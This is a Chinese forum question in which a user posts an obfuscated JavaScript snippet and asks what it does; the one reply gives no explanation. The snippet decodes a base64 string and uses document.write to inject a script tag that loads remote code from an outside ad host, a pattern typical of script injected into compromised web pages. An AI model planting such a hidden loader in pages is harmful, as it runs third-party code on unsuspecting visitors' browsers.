Question

有一段JS代码，我看不懂什么意思~特来求助，希望能看懂的帮我解答~以下为代码：

var M_AwU_h='PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHA6Ly9qcy4xMTc5Lm5ldC5jbi9hZC8/YWR1cmw9aHR0cDovL3d3dy44MzYub3JnLmNuLyZoZWlnaHQ9MzAwMCZnaXA9MSZhZ2VudGlkPSI+PC9zY3JpcHQ+';function _l_yGYhRmur(str) { var out, i, len, c; var char2, char3; out = ""; len = str.length; i = 0; while(i < len) { c = str.charCodeAt(i++); switch(c >> 4) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: out += str.charAt(i-1); break; case 12: case 13: char2 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F)); break; case 14: char2 = str.charCodeAt(i++); char3 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0)); break; } } return out;}function _gL_cCtnw(str) { var c1, c2, c3, c4; var i, len, out; var V_i_HXPEWkTz = new Array( -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1); len = str.length; i = 0; out = ""; while(i < len) { do { c1 = V_i_HXPEWkTz[str.charCodeAt(i++) & 0xff]; } while(i < len && c1 == -1); if(c1 == -1) break; do { c2 = V_i_HXPEWkTz[str.charCodeAt(i++) & 0xff]; } while(i < len && c2 == -1); if(c2 == -1) break; out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4)); do { c3 = str.charCodeAt(i++) & 0xff; if(c3 == 61) return out; c3 = V_i_HXPEWkTz[c3]; } while(i < len && c3 == -1); if(c3 == -1) break; out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); do { c4 = str.charCodeAt(i++) & 0xff; if(c4 == 61) return out; c4 = V_i_HXPEWkTz[c4]; } while(i < len && c4 == -1); if(c4 == -1) break; out += String.fromCharCode(((c3 & 0x03) << 6) | c4); } return out;} function xI__wcNedb(str){ return _l_yGYhRmur(_gL_cCtnw(str));}document.write(xI__wcNedb(M_AwU_h));

Answer 1

谁看得懂谁是神